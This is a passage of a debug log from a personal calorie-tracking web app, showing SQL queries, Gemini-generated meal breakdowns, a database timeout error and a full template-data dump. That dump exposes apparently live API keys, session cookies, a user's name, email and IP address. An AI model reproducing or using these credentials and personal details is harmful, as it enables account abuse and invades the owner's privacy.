    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1230',
    surplus_or_deficit: '1170',
    status_flag: 2
  }
]
2025-12-20T17:36:25.813Z server-connect:app Executing action step identify
2025-12-20T17:36:25.813Z server-connect:app options: { provider: 'security' }
2025-12-20T17:36:25.813Z server-connect:output identity: 1
2025-12-20T17:36:41.906Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-20T17:36:41.906Z server-connect:app Executing action step identify
2025-12-20T17:36:41.906Z server-connect:app options: { provider: 'security' }
2025-12-20T17:36:41.907Z server-connect:output identity: 1
2025-12-20T17:36:41.907Z server-connect:app Executing action step restrict
2025-12-20T17:36:41.907Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T17:36:41.907Z server-connect:output restrict: undefined
2025-12-20T17:36:41.907Z server-connect:app Executing action step processWithGemini
2025-12-20T17:36:41.907Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-20T17:36:44.482Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Dal (mixed with Badhu Saag)',
      quantity: '1 serving (approx. 150g)',
      calories_consumed: 150,
      total_calories: 150,
      protein: 10,
      carbs: 25,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of protein and fiber, good for muscle development and satiety.'
    },
    {
      food_name: 'Rice',
      quantity: '1 serving (approx. 150g cooked)',
      calories_consumed: 195,
      total_calories: 195,
      protein: 4,
      carbs: 42,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While a good source of energy, white rice is refined and has a higher glycemic index. For muscle development, complex carbohydrates are generally preferred. Can be consumed in moderation, especially post-workout.'
    }
  ],
  total_macros: {
    protein: { value: 14, unit: 'g' },
    carbs: { value: 67, unit: 'g' },
    fat: { value: 2.5, unit: 'g' },
    calories: { value: 345, unit: 'kcal' }
  }
}
2025-12-20T17:36:56.298Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-20T17:36:56.298Z server-connect:app Executing action step identify
2025-12-20T17:36:56.298Z server-connect:app options: { provider: 'security' }
2025-12-20T17:36:56.298Z server-connect:output identity: 1
2025-12-20T17:36:56.298Z server-connect:app Executing action step restrict
2025-12-20T17:36:56.298Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T17:36:56.299Z server-connect:output restrict: undefined
2025-12-20T17:36:56.299Z server-connect:app Executing action step processWithGemini
2025-12-20T17:36:56.299Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-20T17:36:58.792Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Dal (Mixed with Bathua Saag)',
      quantity: '1 bowl (approx 150g)',
      calories_consumed: 150,
      total_calories: 150,
      protein: 10,
      carbs: 20,
      fat: 4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of protein and fiber, good for muscle development and overall health.'
    },
    {
      food_name: 'Rice',
      quantity: '1 bowl (approx 150g cooked)',
      calories_consumed: 195,
      total_calories: 195,
      protein: 4,
      carbs: 42,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While a good source of energy, white rice is high in carbohydrates and can be replaced with whole grains for better nutritional value and sustained energy for muscle development. However, it's not 'bad' and can be consumed in moderation, especially post-workout."
    }
  ],
  total_macros: {
    protein: { value: 14, unit: 'g' },
    carbs: { value: 62, unit: 'g' },
    fat: { value: 4.5, unit: 'g' },
    calories: { value: 345, unit: 'kcal' }
  }
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 17:37:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 17:37:06' as DATETIME)"
}
2025-12-20T17:37:08.934Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-20T17:37:08.934Z server-connect:app Executing action step identify
2025-12-20T17:37:08.934Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:08.934Z server-connect:output identity: 1
2025-12-20T17:37:08.934Z server-connect:app Executing action step restrict
2025-12-20T17:37:08.934Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T17:37:08.935Z server-connect:output restrict: undefined
2025-12-20T17:37:08.935Z server-connect:app Executing action step condition
2025-12-20T17:37:08.935Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-20T17:37:08.935Z server-connect:app Executing action step repeat
2025-12-20T17:37:08.935Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-20T17:37:08.935Z server-connect:app Executing action step insert
2025-12-20T17:37:08.935Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T17:37:08.937Z server-connect:output calories: { affected: 1, identity: 471 }
2025-12-20T17:37:08.937Z server-connect:app Executing action step insert
2025-12-20T17:37:08.937Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T17:37:08.937Z server-connect:output calories: { affected: 1, identity: 472 }
2025-12-20T17:37:08.937Z server-connect:output repeat: [ {}, {} ]
2025-12-20T17:37:08.937Z server-connect:output condition: undefined
2025-12-20T17:37:09.273Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T17:37:09.273Z server-connect:app Executing action step identify
2025-12-20T17:37:09.273Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:09.274Z server-connect:output identity: 1
2025-12-20T17:37:09.274Z server-connect:app Executing action step restrict
2025-12-20T17:37:09.274Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T17:37:09.274Z server-connect:output restrict: undefined
2025-12-20T17:37:09.274Z server-connect:router Render template layouts/main
2025-12-20T17:37:09.274Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-20T17:37:09.574Z server-connect:app Executing action step identify
2025-12-20T17:37:09.574Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:09.575Z server-connect:output identity: 1
2025-12-20T17:37:10.237Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T17:37:10.239Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T17:37:10.240Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T17:37:10.240Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T17:37:10.240Z server-connect:app Executing action step identify
2025-12-20T17:37:10.240Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:10.240Z server-connect:output identity: 1
2025-12-20T17:37:10.240Z server-connect:app Executing action step restrict
2025-12-20T17:37:10.240Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T17:37:10.241Z server-connect:app Executing action step identify
2025-12-20T17:37:10.241Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:10.241Z server-connect:output identity: 1
2025-12-20T17:37:10.241Z server-connect:app Executing action step restrict
2025-12-20T17:37:10.241Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:10.241Z server-connect:output restrict: undefined
2025-12-20T17:37:10.241Z server-connect:app Executing action step single
2025-12-20T17:37:10.241Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T17:37:10.241Z server-connect:output restrict: undefined
2025-12-20T17:37:10.241Z server-connect:app Executing action step single
2025-12-20T17:37:10.241Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T17:37:10.242Z server-connect:app Executing action step identify
2025-12-20T17:37:10.242Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:10.242Z server-connect:output identity: 1
2025-12-20T17:37:10.242Z server-connect:app Executing action step restrict
2025-12-20T17:37:10.242Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T17:37:10.242Z server-connect:app Executing action step identify
2025-12-20T17:37:10.242Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:10.242Z server-connect:output identity: 1
2025-12-20T17:37:10.242Z server-connect:app Executing action step restrict
2025-12-20T17:37:10.242Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T17:37:10.243Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake shows a good inclusion of protein sources like paneer and whey, supporting muscle development. However, the meal composition leans heavily on carbohydrates and fats, with limited variety. Consistent early morning gym sessions are a positive for your goals. The recent weight trend indicates a gradual decrease, suggesting the current routine is moving in the right direction.",
    bad_points: [
      'Limited variety in food choices.',
      'High reliance on milk and bananas, potentially leading to a carbohydrate and fat imbalance.',
      'Lack of fibrous vegetables or other nutrient-dense food groups.'
    ],
    good_points: [
      'Inclusion of paneer and whey protein for muscle support.',
      'Consistent early morning gym workouts.',
      'Recent weight logs show a downward trend.'
    ],
    suggestions: [
      'Incorporate a wider range of vegetables and fruits to enhance nutrient intake and fiber.',
      'Consider adding lean protein sources beyond paneer and whey.',
      'Ensure adequate hydration throughout the day.',
      'Distribute protein intake more evenly across meals.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T17:37:10.244Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T17:37:10.244Z server-connect:app Executing action step select
2025-12-20T17:37:10.244Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T17:37:10.244Z server-connect:output restrict: undefined
2025-12-20T17:37:10.244Z server-connect:app Executing action step select
2025-12-20T17:37:10.244Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T17:37:10.245Z server-connect:output restrict: undefined
2025-12-20T17:37:10.245Z server-connect:app Executing action step single
2025-12-20T17:37:10.245Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T17:37:10.246Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T17:37:10.246Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  },
  {
    id: 462,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Plant-based protein (pea, rice, soy - can be lower calorie depending on brand)',
    created_at: '2025-12-20T00:11:33.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 463,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-20T00:45:19.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 464,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: "Milk (Cow's Milk, whole)",
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240 ml)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and calcium for muscle development. Whole milk has more fat, but can be beneficial for satiety and energy for an active individual.'
  },
  {
    id: 465,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple,Pear',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of carbohydrates for energy, and potassium for muscle function. Essential for pre or post-workout fuel.'
  },
  {
    id: 466,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios (in moderation)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Provides healthy fats, protein, and micronutrients. Good for satiety and overall health. Quantity is reasonable.'
  },
  {
    id: 467,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Pear',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 468,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 cup (approx 240ml, assuming whole milk)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 469,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, about 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 470,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-20T05:03:12.000Z',
    skip_level: 1,
    skip_reason: 'Generally good for health, especially without added sugar. Provides some protein and calcium from milk. For muscle development, protein is beneficial.'
  },
  {
    id: 471,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Dal (Mixed with Bathua Saag)',
    calories: 150,
    protein_gm: 10,
    carbs_gm: 20,
    fat_gm: 4,
    quantity: '1 bowl (approx 150g)',
    replacements: 'Lentil soup (clear broth),More bathua saag, less dal,Dal with more vegetables',
    created_at: '2025-12-20T12:07:08.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of protein and fiber, good for muscle development and overall health.'
  },
  {
    id: 472,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 42,
    fat_gm: 1,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Brown rice (higher fiber, slightly fewer calories per serving),Quinoa,Millet,Cauliflower rice',
    created_at: '2025-12-20T12:07:08.000Z',
    skip_level: 2,
    skip_reason: "While a good source of energy, white rice is high in carbohydrates and can be replaced with whole grains for better nutritional value and sustained energy for muscle development. However, it's not 'bad' and can be consumed in moderation, especially post-workout."
  }
]
2025-12-20T17:37:10.247Z server-connect:app Executing action step setvalue
2025-12-20T17:37:10.247Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T17:37:10.247Z server-connect:output var_total: 1575
2025-12-20T17:37:10.247Z server-connect:app Executing action step setvalue
2025-12-20T17:37:10.247Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T17:37:10.247Z server-connect:output var_consumed: 66
2025-12-20T17:37:10.247Z server-connect:app Executing action step setvalue
2025-12-20T17:37:10.247Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T17:37:10.247Z server-connect:output var_deficit: 825
2025-12-20T17:37:10.247Z server-connect:app Executing action step custom
2025-12-20T17:37:10.247Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
